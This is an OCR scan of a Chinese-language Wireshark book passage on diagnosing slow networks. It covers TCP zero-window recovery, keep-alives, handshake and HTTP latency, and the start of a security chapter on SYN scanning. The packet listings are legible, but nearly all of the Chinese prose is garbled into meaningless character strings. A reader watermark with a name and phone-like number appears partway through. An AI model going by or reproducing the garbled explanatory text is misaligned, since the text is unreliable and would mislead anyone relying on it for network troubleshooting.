FRBEHE 32 B AR AL BR G  IX (R N 2%, AT 70 VR a1 2 i 30

T R AR A TAEM . 2RSS 2% A B PR b BRI B, e mT DA %
—A> ACK #¥ata, FEHITE KM R/,

11.2.2
FEEEREDLT , MR ST 4% AT RETC IS AL BE 5 7 i A& HO B Hs « IX AT REZ RO A A7
EIV N T 55 e A = AT O T s R i KN S TN U S ol
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HIRICET D RER A D T R /M

AP MIEOUN, RS AT LS — AR R, fRYE DR NEE. X4
zP i RN R R, e b B e, (AR R ORI R
£ (keep-alive packets)” RS k554 HERE . 20 b o IV E 3t 532 DR Koo
A, DR ARG SR ICE D RPIRES . — BIRSS 4R RE BRI AL B A, ek 2 i
—AMEEERE DN, ZXREERE . B 11-15 SR 7w FHERR e

oy = [ _wmgssE [ @oxh |
B BB S5 3
| 2,0005 % > [ 3000Fs  |[ 5000 ]
| 2,0005 % > [ 10005 || 5000F% |
< ACK - BICISE3f: O Bytes | | 0FTs [ 0% |
| woE > | 0FH |[ oF® |
< ACK - BICIE#i: 1,000 Bytes | [ 1,000%% [| 1000%F% |
| 150F % > [ 850%® | [ 1.000F% ]

Bl 11-15 H%H 0 K84 0 F V0, HEBAHHIZLET

EE 11-15 7, RS AITEEH 5000 775 ) % I C8dE . £ % P om il
F 4000 EHEHR G, RS ST A ZIIEMALI A, ANREFE AR H % P
Ui AT AT B0 H o IR R 4528 ik — N AL, F 5 /MR 0. 2% 7 o B 4
Hifetn, Rk —MRUEEIR . IWERIEEIE R 5, RS A R — 4L
P, 3@ RN e IUAE AT LA ISCEE T, i BB IR B K/ E 1000
7P i Ak s R IR B

11.2.3 TCP

F5E TCP W s MBI fa, FRATAERSR S top_zerowindowrecovery.
pcap TIRFE -

FEIRA A, FRATM 192.168.0.20 Ki%EZS 192.168.0.30 )14 TCP ACK
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a6 - AT EXT Windows Size 38R 2, 7] PATE Packet List [f 4% f) Info
51| LA} Packet Details [ ) TCP k#ERI'E . MK 11-16 7] ISLEIR I, 1T
HIHT 3 MR, XA REEA BTN .

No. Tme @ Source Destination Protocol  Length Info (2]
1 0.000000 192.168.0.20 192.168.0.30 TCP 6@ 2235 > 1720 [ACK] Seq=1422793785 Ack=2710996659 Win=8760 Len=0
’7 2 9.008237 192.168.0.20 192.168.08.30 TCP 6@ 2235 > 1720 [ACK] Seq=1422793785 Ack=2710999579 Win=5848 Len=0
3 9.668193 192.168.8.20 192.168.8.30 TCP 6@ 2235 > 1720 [ACK] Seq=1422793785 Ack=2711082499 Win=2928 Len=0

B 11-16 X I 069 F 0 K iR,

XAME MR — R ALY 8760 1 /b 255 /AN EHER I 5840 5, i‘%
5 XN = AR 2920 F 1O, @Dkd\ﬁﬁﬂimﬂﬂbﬂﬁbnﬁﬁ
fatr. R Time FIHIE S, XEEWREME AN RENO. HHE Dij%
XFEPOE N, ERATRESEE, W 11-17 Fow, FdRf 4 IERXFET
TEIE .

M Wireshark . Packet 4 - tcp_zerowindowrecovery - O X

v

Frame 4: 60 bytes on wire (480 bits), 6@ bytes captured (480 bits)
Ethernet II, Src: Vmware_c@:00:08 (00:50:56:c0:00:08), Dst: Vmware_c0:00:01 (00:50:56:c0:00:01)
> Internet Protocol Version 4, Src: 192.168.0.20, Dst: 192.168.0.30
Vv Transmission Control Protocol, Src Port: 2235 (2235), Dst Port: 1720 (1720), Seq: 1422793785, Ack: 2711605419, Len: @
Source Port: 2235
Destination Port: 1720
[Stream index: @]
[TCP Segment Len: @]
Sequence number: 1422793785
Acknowledgment number: 2711005419
Header Length: 20 bytes
Flags: @x010 (ACK)
Window size value: @ @
[Calculated window size: @]
[Window size scaling factor: -1 (unknown)]
Checksum: @x6355 [validation disabled]
Urgent pointer: @
v [SEQ/ACK analysis]
v [TCP Analysis Flags]
v [Expert Info (Warn/Sequence): TCP Zero Window segment] @
[TCP Zero Window segment]
[Severity level: Warn]
[Group: Sequence]

v

No.: 4 - Time: 0.000202 - Source: 192.168.0.20 - Destination: 192.168.0.30 - Protocol: TCP - Length: 60 « Info: [TCP ZeroWindow] 2235 — 1720 [ACK] Seq=1422793785 Ack=2711005419 Win=0 Len=0

Com [ v

M7 RGO 5038 QA T AR B4R AET S

54 MR HE M 192.168.0.20 AT 192.168.0.30 (1), {HE H K2 & F
192.168.0.30 ‘EAGEFZIUT(THME . 78 TCP k¥ st Al LA FIXANEUHE 00, 1
H Wireshark tH7£ Packet List [f4R [1] Info %] L & TCP ki SEQ/ACK Analysis
oy, HIREATIXE—ANEE N HECe
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— BRI Z & AR, 192.168.0.30 XM A A R IB M ETE, B3
B 192.168.0.20 UL B —/N DB 8T, BAEE O RN EEEEK T ik, F4F,
TEXA SRR, SEEE DN S g, Bk, Wi 11-18 fir, &

BRI — AR AU D E .

‘ Wireshark - Packet 5 - tcp_zerowindowrecovery -

> Frame 5: 6@ bytes on wire (480 bits), 6@ bytes captured (48@ bits)
> Ethernet II, Src: Vmware_c@:00:08 (00:50:56:c0:00:08), Dst: Vmware_c8:00:01 (@0:50:56:c0:00:01)
> Internet Protocol Version 4, Src: 192.168.86.20, Dst: 192.168.0.30
v
Source Port: 2235
Destination Port: 1720
[Stream index: @]
[TCP Segment Len: @]
Sequence number: 1422793785
Acknowledgment number: 2711005419
Header Length: 28 bytes
Flags: o0x@10 (ACK)
Window size value: 64240 @
[Calculated window size: 64248]
[Window size scaling factor: -1 (unknown)]
Checksum: @x6864 [validation disabled]
Urgent pointer: @
v
v

v

v

v [Expert Info (Chat/Sequence): TCP window update]
[TCP window update]
[Severity level: Chat]
[Group: Sequence]

No.: 5 - Time: 0.010005 - Source: 192.168.0.20 - Destination: 192.168.0.30 - Protocol: TCP - Length: 80 * Info: [TCP Window Ujpdste] 2235 — 1720 [ACK] Seq=1422793785 Ack=2711005419 Win=64240 Len

11-18 TCP & 9 EH# 445 4 F L EAE LT A 435 T

FEXAMFr, B H RN KB T R ) 64240 715 @ . Wireshark
—X{E SEQ/ACK Analysis A5l NIl & iFFRAT, 1X2&—A HHEH

— B BIE AN T EOR AL, 192.168.0.30 EAUETT LLF R R IE R, ik
6 M7 iR, XA FEAER R, B e R R 2R — b, thaaEs
SIRLLS “HTIR”, SEEIEALRIAR IS R

G HEEEN, &E—F tep_zerowindowdead.pcap . fi3RiczH
(128 — AR AL M 195.81.202.68 K I%F 172.31.136.85 [ 1EH HTTP fiif. 4
B 11-19 Frs, S8R0 — DA 172.31.136.85 IR [0 % 5 505 40

RAEEORIRE 11-17 BT w OB AR AL, (HERBAMFA. £

K 1120 F1, BAVEEEEF 172.31.136.85 FHLAR IR EAE K E K5 0 55,
MeE 2 — MRE R,
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M Wireshark . Packet 2 - tcp_zerowindowdead - [m] X

> Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

> Ethernet II, Src: HewlettP_ad:cl:c6 (@@:16:35:ad:cl:c6), Dst: All-HSRP-routers @1 (99:00:0c:07:ac:01)
> Internet Protocol Version 4, Src: 172.31.136.85, Dst: 195.81.282.68

¥ Transmission Control Protecol, Src Port: 3876@ (3876@), Dst Port: 8@ (8@), Seq: 784338729, Ack: 1318997786, Len: @
Source Port: 38768

Destination Port: 8@

[Stream index: @]

[TCP Segment Len: @]

Sequence number: 784338729

Acknowledgment number: 131@997786

Header Length: 32 bytes

Flags: @x@18 (ACK)

Window size value: @

v

[Calculated window size: @]
[Window size scaling factor: -1 (unknown)]
Checksum: @x36d@ [validation disabled]
Urgent pointer: @
Options: (12 bytes), MNo-Operation (NOP), No-Operation (NOP), Timestamps
v [SEQ/ACK analysis]
[This is an ACK to the segment in frame: 1
[The RTT to ACK the segment was: ©.880829008 seconds]
v [TCP Analysis Flags]
> [Expert Info (MWarn/Sequence): TCP Zero Window segment]

v

v

No.: 2 - Time: 0000029 - Source: 172.31.136.85 - Destination: 195.81.202.68 - Protocol: TOP - Window] 38760 — B [ACK] Seq= 704238729 Ack=1310997788 Win=0 Len=0 TSval=22248305 TSea=132

om0 o |

B 11-19 R% v 438 QAR EE M H 15

M Wireshark . Packet 3 . tcp_zerowindowdead - m} X

> Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
> Ethernet II, Src: Ciscolnc_72:15:00 (80:08b:be:72:15:00), Dst: HewlettP_a4:cl:c6 (00:16:35:a4:cl:c6)
> Internet Protocol Version 4, Src: 195.81.202.68, Dst: 172.31.136.85
Vv Transmission Control Protocol, Src Port: 8@ (8@), Dst Port: 3876@ (3876@0), Seq: 1318997785, Ack: 704338729, Len: @
Source Port: 8@
Destination Port: 38760
[Stream index: @]
[TCP Segment Len: @]
Sequence number: 1310997785
Acknowledgment number: 704338729
Header Length: 32 bytes
Flags: @x@1@ (ACK)
Window size value: 108
[Calculated window size: 1@8]
[Window size scaling factor: -1 (unknown)]
Checksum: @x3311 [validation disabled]
Urgent pointer: @
> oOptions: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
Vv [SEQ/ACK analysis]
v [TCP Analysis Flags]
v [Expert Info (Note/Sequence): TCP keep-alive segment] @
[TCP keep-alive segment]
[Severity level: Note]
[Group: Sequence]

v

v

No.: 3 * Time: 3.410576 * Source: 195.81.202.68 * Destination: 172.31.136.85 * Protocol: TCP -._kive] 80 — 38760 [ACK] Seq=1310997785 Ack=704338729 Win=108 len=0 TSval=1334338 TSecr=2224

=] =

11-20 REHIFECRIERT 0 THMBARAL
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Wireshark 7E Packet Details [i#i 1 TCP 3k SEQ/ACK Analysis #7/8 T,
WA HEE GRS EE O . AT Time FI 1551, EWE] E— 4
£ 3.4s Ja, W TXAEEE. WE 1121 s, XSRS T LR —
BENRERE OBIRE, 51— 6 WARERIE .

No. Time o Source Destination Protocol  Length Info
2 9.000029 172.31.136.85 195.81.202.68 66 [TCP ZeroWindow] 3876@ » 8@ [ACK] Seq=704338729 Ack=1310997786 Win=0 Len=0 TSv..
3 3.410576 .81. - 172.31.136.85 66 [TCP Keep-Alive] 8@ » 38760 [ACK] Seq=131@997785 Ack=704338729 Win=108 Len=0 T..
4 0.000031 =28y > 195.81.202.68 66 [TCP ZeroWindow] 38760 » 80 [ACK] Seq=704338729 Ack=1310997786 Win=0 Len=0 TSv..
5 6.784127 . . 172.31.136.85 66 [TCP Keep-Alive] 8@ » 38760 [ACK] Seq=131@997785 Ack= 33

6 0.000029 172.31.136.85 195.81.202.68 66 [TCP ZeroWindow] 3876@ » 8@ [ACK] Seq=704338729 Ack=1310997786 Win=0 Len=0 TSv..
7 13.536714 195.81.202.68 172.31.136.85 66 [TCP Keep-Alive] 8@ » 38760 [ACK] Seq=1310997785 Ack=704338729 Win=108 Len=0 T..
8 0.000047 172.31.136.85 195.81.202.68 66 [TCP ZeroWindow] 38760 » 80 [ACK] Seq=704338729 Ack=1310997786 Win=0 Len=0 TSv..

11-21 BFafREHE LR EN

XEUEEIE AL 345, 6.8s. 13.5s KRG H IO, XA FEAT B S RFLE
AR BRI T @S R TRNMRE R S BRI T, AT
PARIL, BE# Time FIBUEMIGK, EHE1F THT 25s. MR —T, ZikmiR
FEHI R AESCH M E RSSO, 25 B IR B HE A2 |

11.3 M TCP B5iREshANR mfhib 2200

ERATEAAE — FEfL. HE ACK FIEshE DL T 2 kb B ZE IR A J5
) — oy B I

O 415 4 0)

AR AR S R R 2 P i i DN 380 AR 45 2% A BR U B e R B s . R
RE TS B B 5 A5 Bk TR TE 20 I A5 (6 — ity o 200 SR 0% AR 25 288 S iy 9 3 2
W, I H e S A IR P i Rk . EAR BRI AORE B S A B
B, FNREAN B EALNEIEA . W FAR B IR 55 8% A0 0 52 31 7 50 B %
KR m, CRPREMIE ) VR %75 FEAE 2% 1 i I 3 4 3R & DAL 82 5 A =
FEH 4R £

2. M5 ACK ¥y

Fefiira THEEE ACK FAEHEALRIFK X 217 (pseudo-opposite), KN4k
S5 A ar il B2k B % 7 i (0 AL B R I ROR e . FEZ IR, ARAT DLLEIE
EPisR B EE ACK MR E . idE, U EIELF 2 B A ik 2 ACK.
fhn, R AR S A RERUE] T 1N 3 MR AL, i kiE—PNEE ACK
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PLGIRE 2 MR PGEEAL . RO RIREIEE 1 DA 3 MR,
AVEAT ATF B 2 MUEREER, #ATRER G, KA KE 1%
BUN, AL RIE SR E S ACK. 8RR AME B A BT
PRI, PR AE A 55 45 i PR SR Bl B 5 R BN B EME TS ACK I, 7T LA
JELEIEAS 7% 7 i AR

3. FE ARG B

TN E 5k S S, A PREE AR B A O . IR 55 4 O D LK ] B AT
L)LE%@%&%’Djt/J\?ﬂZ/'\EJZii@J%%?D% o P IR SR VR DR BB L, 3
PLZEE A A B . I8 IR AR P2 FEI’JWilﬁﬁ%Jurz B

11.4  ENiE R mg A

AR, BB ERIFARELEWER . MFREEI, HM G EILEE
GIR1ER, AT TCP EALEE L ACK XFEH IAFE. EIXEfE T, K
i B R P A B € o e SiE IE ) S Ao

FEXH, A M INEZ — R BB YIIEERAR T LU N RN HE .
i, 25 RE% P b Al Web fIRk 55 a4 2 8] i) — A B, 207 i il e FE 8 7
g5 as B — At FATOEIRE 75 R ART 6 MR, 5 TCP 2T
#1465 HTTP GET 153K« XX A GET WRIIHAIN, LI MRS58 R AL % 7 i ) 26
— MR

AR HTRERETY, EHARIRCZAE Wireshark FiXE T % L 490t B 744
K. /& Wireshark ¥ £ 4 View -> Time Display Format -> Seconds Since Previous
Displayed Packet.

1141

BATBEAZR GV EMTHE M S REL. Har, RAERFEE—AIE

WEMREL, F5EERMENAFIR. FEiXEg g, AT A
1mmwmwxﬁ HTHAICE Wit 7 TCP #2F/1 HTTP 8{5 1477, [H
AR IR BIRATHBOE B4, b b, FATRAATE Z FE Packet Details [ .
Wl 11-22 fros, FATA KOG Time 1.

250 Wireshark ##EE& 75 #rsLhk (58 3 ki)
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MNo. Time: Source Destination Protocol  Length Info
1 ©0.000008 172.16.16.128 74.125.95.184 TCP 66 1606 > 88 [SYN] Seq=2882691767 Win=8192 Len=0 MS5=1460 WS=4 SACK_PERM=1
2 8.838187 74.125.95.184 172.16.16.128 TCP 66 88 + 1686 [SYN, ACK] Seq=2775577373 Ack=2882691768 Win=572@ Len=@ MSS=1486 SACK_PERM=1 WS=64
3 @.808875 172.16.16.128 74.125.95.184 TCP 54 16086 + 88 [ACK] Seq=2882691768 Ack=2775577374 Win=16872 Len=@
4 9.8000866 172.16.16.128 74.125.95.184 HTTP 681 GET / HTTP/1.1
5 8.848778 74.125.95.184 172.16.16.128 TCR 60 88 + 1606 [ACK] Seq=2775577374 Ack=20882692395 Win=6976 Len=8
6 8.822176 74.125.95.184 172.16.16.128 TCR 1468 [TCP segment of a reassembled PDU]

11-22 XA FRAFALR, BOIALREFH

LAV R AR AP0, AL T RE 0.1,
B TR BATE 10 JLA T SCPE 6 S RO R, S RS
R ATV R
11.4.2 —

IAETRA 1 1) i 38 ST AF latency2.peap. 40 11-23 Fios, vER, Bk 7 EME
2, B B AR — AN SO AR AR A

MNo. Time: Source Destination Protocol  _ength Info
1 ©0.000008 172.16.16.128 74.125.95.104 TCP 66 1606 > 88 [SYN] Seq=2082691767 Wir=8192 Len=8 MS5=1460 WS=4 SACK_PERM=1
2 8.87853@8 74.125.95.184 172.16.16.128 TCP 66 88 + 1686 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=572@ Len=@ MS5=1486 SACK_PERM=1 WS=64
3 @.016604 172.16.16.128 74.125.95.184 TCR 54 16086 » 88 [ACK] Seq=2082691768 Ack=2775577374 Win=16872 Len=@
4 9.886335 172.16.16.128 74.125.95.184 HTTP 681 GET / HTTP/1.1
5 1.155228 74.125.95.184 172.16.16.128 TCR 60 88 + 1686 [ACK] Seq=2775577374 Ack=20882692395 Win=6976 Len=8
6 8.815866 74.125.95.184 172.16.16.128 TCR 1468 [TCP segment of a reassembled PDU]

B 11-23 HIBE2Fa 5 ARG 9IER

HEAVFHZANEFIX 6 MIRER, SMRPRIBFIERME —Mrd.
P (172.16.16.128) KiEWIHE SYN $dE A, JF4h TCP 8 F. UK
20t (74.125.95.104) iR [A1 /) SYN/ACK ¥4 8 2 i 0.87s HIIER . X &
AT B Lo B A IR 52 A () 25 — NI R, ISR 7 I AR 5% A% 2 TR ) ik & =
;.

P T 50 A% i R M AT T DURA 5 I 2 4R B R AR 1 1) . Y AR S AR
W —A> SYN FdE tuit, BT AW &R i JE DL BB, PRtk ik —
A R T EAEE AN AT R RIE RS A8 R AR Z BRI R A, 8
Bt SR ) SYN B R A M BN — > SYN/ACK .. X HER: T AR 45 8% 5 80 4
iR ) AT fe .

P T REE AR T, BN BRI R T BRI SYN/ACK. £ £ LA
AME AT HEBR 7% P i AR 5 45 IR SR IR, I DX 4 2 1 1) D DL 12 7E 3
SR BTN L

GEE, WATKIMTER=IETFH ACK B GAEHIRR, &5 i A% 1

FNME ILNELHFF 251
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HTTP GET ¥ RAEL[FRIFEQtt . 72 A2 3 /> Hidi 4 () ab # 0 #2224 B SYN/ACK
JETER Pt A R AR, B AR B P i A DT AR B A AR, X A B A
POZALZ R R 2

ERAREL 5, FRATE BB RME R & A2 NELLESS . Bk, RATKIEY)
G HTTP GET iR 5, it 1.15s AU S MRS 231 [51 () ACK Hidl . i)
HTTP GET 153K )5, MRETH1ERIEHHR < i ki T —4> TCP ACK, [AIFfixs
AT SFEN R Z PR . X R LR IR 1) 5 — bR &

BB ERHIEIR, RILPAR ARSI RE P IR IE T SYN/ACK BLK
oA ACK ¥l b A BIXFERIE 5 o BARXAME BIFBCH TR IR 28 e IR 1
ORI, (BB S URIRANE 2 b SO 5545 (0 8, BT BLR e e R 28R
K B — 28 gt 7 L. SR, AT DA e B S M AL 8] Y B
KEG g AREEAR ST AR B, DABHE R R AE

N N A Y —
WATEH T — AN IR A5 1E latency3.peap SCAFH, W 11-24 FiR.
No. Time Source Destination Protocol  Length Info
1 6.800000 172.16.16.128 74.125.95.184 TP 66 1606 + 88 [SYN] Seq=2082691767 Win=8192 Len=@ MSS=146@ WS=4 SACK_PERM=1
2 9.823798 74.125.95.184 172.16.16.128 Tcp 66 88 + 1686 [SYN, ACK] Seq=2775577373 Ack=20882691768 Win=5720 Len=@ MS5=1486 SACK_PERM=1 WS=64
3 8.914894 172.16.16.128 74.125.95.184 TP 54 1606 + 88 [ACK] Seq=2082691768 Ack=2775577374 Win=16872 Len=8
4 1.345@823 172.16.16.128 74.125.95.184 HTTP 681 GET / HTTP/1.1
5 9.846121 74.125.95.104 172.16.16.128 TCP 60 80 + 1606 [ACK] Seq=2775577374 Ack=2082692395 Win=6976 Len=@
6 9.816182 74.125.95.184 172.16.16.128 TCP 146@ [TCP segment of a reassembled PDU]

B 11-24 XA ZKITFE T 094125038 02 M4 HTTP GET 5 K # 3B &

NIFF AR IR ARG AR IE %, BIEER T TCP #2F, WAIEMER. HiZ
FRM G, FHEE 4 ) HTTP GET iR I 7 M. iZEHE 4% - — N EuE
A4 1.34s [EEIR,

ROAZEEHARE 3 M 4 ZABIRKRAE T4, UREIERIER. %
#4032 TCP BTk frh 7 P SRR TR 25 S 00 — > ACK., Bl 4 M2 %
PRRAEIRS S50 GET WK, B3R e F AR A R% I, 5% 5
E. Rikse ACK 2R ARZRAAEE GET R, FIAFAZIE L%
PR,

RSEHIRE, ACK JHEA HURYIE] GET ok, QIEAE4 GET XUE GH
S B RO AR, TS A B R 0 AR 2 ) 2 P T T BT 6 .
53 R £ 8 AE AR KR JBIE T2

252 Wireshark $iEE 2 H7sE8k (88 3 AR)
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11.4.4

WAVEEN G — MEEE =M T latency4.pcap (A4, W 11-25 Fiw.
X2 R 55 A LB 3R ) — M1

No. Time
1 0.000000
2 8.0818583
3 ©.816197
4 8.8088172
5 ©.847936
5 8.982983

Source

172.16.16.128
74.125.95.1684
172.16.16.128
172.16.16.128
74.125.95.104
74.125.95.184

Destination

74.125.95.184
172.16.16.128
74.125.95.184
74.125.95.184
172.16.16.128
172.16.16.128

Protocol  Length Info

TCP 66 1606 = 8@ [SYN] Seq=2082691767 Win=8192 Len=0 MS5=1460 WS=4 SACK PERM=1

TCP 66 88 + 1686 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=5728 Len=8 MS5=1486 SACK_PERM=1 WS=64
TCP 54 1606 = B8 [ACK] 5eq=2082691768 Ack=2775577374 Win=16872 Len=0
HTTP 681 GET / HTTP/1.1

TCP 60 80 + 1686 [ACK] 5eq=2775577374 Ack=2082692395 Win=6976 Len=0
TCP 1468 [TCP segment of a reassembled PDU]

11.4.5

==
AR

11-25 A3 &E— A4 04 RIE FHaEik

FERERAHRIL TS, WG EHLAE TCP 8 Tl FEAR PR FLITUF 58 1 1,
RKARAMRIF I o T X s B ok T AR ROVE S, #T4R GET 3 SR A
M) ACK #fE bR tRILf e b . HRIR)E — MR E, RINA KT =
IEIR LG

55 6 MBI AL RSS20 B 25 7 i GET WK% — A HTTP iy, HE
FEARTEAR S5 88 N GET 53K K i% TCPACK ZJE#EIR T 0.98s. HiEfl 5 %) 6 (1]
HufG o 5 BAE E—ME =P E LAETF ACK 5 GET 1 3R 2 7] 1 V)3 AR A AL .
SR, FEIXAMEIFH, MRS A R TRA TG £

BEa, 5 AR Eem N 2% i GET 53K ACK. — B R IX X MR,
IR 55 4 5 LA ST R F 6 s B o X ANBICHE B H B0 U7 il L T LRI AR A e
HTTP Pril5E i), HFXE— MR HED, HI T RS A E— b,
TE IR W B3R AN B £ 28 B IR S5 28 AN BE S I AL BRI AN B, S 4B R AR B 4R
ENN=

AV © A Hedfe B e Dt g A 17 AN i 38 i 55 45 FD I 4 i SiE 3B ) i AT
XL SE RV A A, (A 11-26 MAZAH VRS P AR AL IR 17
XL U] B AR 5T TCP IEAE

ENLEA T UDP 2R, B 4 UDP #9i%it B AR A beig {2 KT 5, FTvd
TR N BAEFTHERAEM F AT IR G G hie. MR, CARM T AR B (F=
ICMP) kAR 4B 7T Se AL 64 B HL

BENME ILNELHF R 253
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Il

[FEESS
B SYN > BB %5 i
1] SYN/ACK
ACK >
2] ———— E/RER ——
H - ACK
(3] B7RNLEIE
B zxEiR

[2] ZrsiER
RS IRIEIR
B 11-26 4R T vA XK B g i B Toa% L3R 9] 21

115 WggHELk

T 55 T ER RIS, 1901 2% JE 2 oRE RO ASE 8 1 2% 2% 18 Wi s 5 PO 030
Z—o XMEATHIH BT S, PRI R B A R m R A, RS
RERATNATH) “IEH” MR PZEIRLL 11 R /2 75 W 2% B i AR AN IE
HI AR EU AT R

Blan, HE— N, Mg EJLAE T S SIEA A Web N IR 55 45
ISR IR AR IR I LRI 5 R B2 [, At A Web AR 5548 —
DIIER, HIRAZ] Web S (IAMB N A 5% T ASNAISME DNS #K, 1iX
SEAE SR L IE 3 12 P

WVFAFE R IO ), AR BEVE R 2 7 AO AR DNS JIRS54%, E 41K
AE BT AR, BEA—5E T o 10 > DNS iFR#BLL IEFH B I ZFE 0.1s, 1X
PR DNS WRILIEH ZHFETH 1s —FRREEE, (HIA AR ILE N, A Al
TR Z

254 Wireshark RS 2 H7sE8k (88 3 AR)
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11.5.1

BT M2 AR, B2 R R AR AR ZE R . BRI LR
BT MR IELALAF R LA T ARVF 2 R BT IX £ 5% H AR RE ML 2R 11
ZEELAE, BRI —MaRREH . ANEER, IRMAZIEIRMI L &
— A ENIX 3 ANEATEL H b dhidL BN RS

Sl p5 R I H (R SRR 2 AN BRGSO R U . BARE LT,
X WAN R — B

AL Z AL S DU TN

1. fEHERY

TEM 2830 % (38 /B7 K38 i3RI B T A & s I, 16 8
W Z 814 0 (Statistics->Protocol Hierarchy) K2 & T A W& F 7 & .
SR, VRATDAR B A G A S B AR B H L) P, B 4% o B T 3
e AR AT DL BRSO R Al b, P B R R B e T IR B8 )RR s 2R AL 1)
.

2. ) ikiniEE

RAGMB LR — VI R . Rl m A S T E AT AR T
Vi, TR BT RSO N R KRR R R RIE B, XK
R LG TiE2 (Hatd) W k.

3. BrhrISuLAl

XAFEE R P um B AT A IRSS ) S IE i AR R, PanshZS H k. Web
MR, PLAREH AWM. G5k s 2RSS ETEErn— 7.
T I FE 2R R 0] LB 58 B 4 56 UE A2 75 2 84S 2218 1) LA o

4. Kehifting

TR B AE X 2% I B A i e B LAty i R K A AR . A RT DAfE
HI Wireshark (¥4 $f ik A0 2 1] Ty BE Al 1 A% i S2 Fde e ) — Bk X mT g
FEVRI— MR E [0k SRR . R 278 R BB S s B R AR R, AR
Hn] LS AT 5L R B AL 4R LR A . XS IR IRERR R A MIRE,
R ok g B i R A

BEME ILNELHF R 255
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11.5.2

15 FH EHLIELR A B VR FEAE M 4% IR G L. FHIEL R
SRR BT S IR 48 FHAT. AL, —HRERS RIZITEE, #
SR R R S, VR AAEIR G FHL T AL

TR S LR U A .

1. fEHRGERY

AR G BN FER, XSRS 7P R St B AL
o WA, VRATBAIRE —F & B H AR BT, B BN B2 1B
TR AR AT CLAE PRSI BEAL b, e SRR I T I W R )y s 2R
HORh=

2. 7R/ FAR

XA 2 A R ] BB T e T A e e I B R A U R A R
XKoo TIRBI—RZ AR B ERACE S S A 58K, A1 B R
L1 2 F P AL e A iR R E FH «

3. HaheH

N T IRBOXA LS, IR ZAE EHUR SR A G — MR E R RT3
—HUEHARER . ARERH], BUXPN SR 28, VRt al LA E
WA R 75 BRI 4 K

4. S HyYSUEA

XA ZORAE BN IR M55 10 5 i BAE AR AR . B S ik i
HRMRSFIBAT RGN T5 T o IR A AR AT LA B 0y S0 IE 2 75 2 IR 22 1%
A

5. SRR/

AR TR ERF AR R 3R, DA e X & EHLAHOB T IRLL AL (R
T R S ALAR 8 T1X 5 ML) o UR AT BLIE I 215 % [ (Statistics->Conversations )
A XL . Web ik 254000 T SQL MRS5S 21X FERIH 1. A3k
M BIRAR EHLE ) — B R, X BN REIR EH. @it
XA, URATLARE F WA RE IR W s ks, J2 RO HC B A DRIk 2 KA BT (O E ALY

256 Wireshark ##EE 75 #rsLhk (58 3 ki)
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11.5.3

1154

FIEIR .

W — NSRRI FE St 2k . IX AN SRR NZ TR A ST
Y 55 N R T

N HFEST A AL DU JULAN A

1. PR

AT XA LR B AE T Wireshark HIPMY Y ESG 5 H, (HIX KL
BTN N ERRE. R)E, URADOE s G AN B, R IR
TIX LY BN R T 2 I e o

2. E8hRm

IXRANFE LR T B RN AR 7 G S A e R AR i . — BN R T AN RE
Jazl. ABERH, BUXPAE IR T E SAS, Rmtnr DS e R R

3. RIS

IXANFELR T B AR, PUE I 21 B A g IX AN N R A )
HAB NN IR « A B RATS BARA 2 N FE e 18] i) — Lo B AR AR o0 R,
XN R R BEUR L3, IBILIXAS, IRA] CAEf e N IR A B IE W 12
B, SRR RTC BRI AT DR R BT A S P R T 14T v 2B AR

4. BafEimg
YRAT DAAE N A2 7 AR 55 % 15 0 da 5 B 1R), {4 Wireshark 19 SR IR A1 22 ]

ThRER & Bl AR MR AR — Bk . B NI MR S8, Rl al A
A5 P XA JE 2 R 5 24 I i) LS 753 A i M FH 2 i P A7 380 B

I B 2 R 28 B 2 F) — R AN R 0

o QUERNIELHRE /DTN 3 K. RIREMIE—X (FRD. s Ea—
N CFF=RAAD TftEIE—k RBO.

o HAREMITE, I EIRAE TR HAIREA N B LR E. BOE S
TUEE, XTI N B A PERE, JF T RE B B B R B L

BENME ILNELHF R 257
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B2 TR

o PRIELLAF RS LG RIBEGELE, —EZRIETE. HEF
ey, R GEMAA AR BRI A, Pk
i BN R] . W] UL R B A IAE U S e s o X

o LA peap SCHFSIRIIELREE, NEE LNSHEST 6 <MD, B
I AR .

11.6 /h&h

AT A B R ET TR R 25 . FATTYEER T TCP ) — 284 )
SRR DI RE, R T E AL 2% IE A IR SRR, RS TN
IRILLL N EE DU E R — e I BB IR, N E Wireshark )
M HrThae (FE5R 5 |iTigid), HIREHERI T RAREIR IR, MiZ6e
ARSI

258 Wireshark ##EE 75 #rsLhk (58 3 ki)
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ERCOR AR P 2 AR o A {6 £ R SR 6 0 W B AR
Le i, (ELETLSEE T, 1R BRI AT TIERR N T 1R
YA . 4 NIRRT TG 25 5K AT SR AR 1 2 0
K5, SUNGEN SR A SR S L R R, s
N R FER AT . T 12 A R AT R — MR
AR, #ATL S — AR T, ARk,

WA, BATEE MR, MR
O “PINS” \RAHIRA T . BATE KNG, BETEEER, b
BRGRIARIE . B4, RAOTEE— BB, BIHK A I R 5
MR . MR R e A M, B B AR (R TT LA — L% I
L2 A I D R 82,

" BB FE ML . —— R

B4t X Kensuke(18319066421) B2 jEEELRIN



12.1 MIgsfiizgs

Baki B RN 28— DATERRAT T H bR R Gt X 20 3 “ PR ER L7,
WE AP AT BRI T, e HAR A R B E T #E Google. X1
WHFE e G, Bods &l T aa 434 H AR 1P ikl (B4 mIF i K shs (T
k55

A, Bl A DU E H AR AL HT Ik fln, R, —
REARAT R EEHT BT AL iR 123 5[0 B AR —— AT AR R ARAT . M2k
HUR YIRS SRR k3G B, AIFEHRIE H AOHLE A4 R BURAT e iR T
AT 555 o AT DVER A RUEEER)I S, SIEETERIE IR R YRR [P AT B
NHRAT, DMEXS G T T, NIZRAT TR R0k, #htr HREZ T B
FIE S AT ATE DA — A 1]

FR 5 — AN E WSRO, B R 7B H AR R . 8] B3R
MINIA R L ARAT ShEE, A8 —A8, W RENEE R BUAEARAT I, A0 L i
AR —TCHT R, S EARE? Ik N RRE, B fth AN 0138 47 B 55 180 F) 559 R
FEWE L

FEARATH, BATZ R AT — 2R (3 R ) ENLAEA T
b S, BAR R IR .

AE BB AT A, KPite) “EERR” AABLEE FRICE, RFEF#
FofRF3. MAFRIN EERR HABLEFRZTETS.
12.1.1 SYN

HEX RGE TCP SYN 4, MAONESMMERE . SYN $fi2
— A IR, AU LA

o PR FE.
o (EFTT TG LAMRIER, 5 TCP Bl IISEILE R,
o [EHABFEIAE R, NEHEARIL.
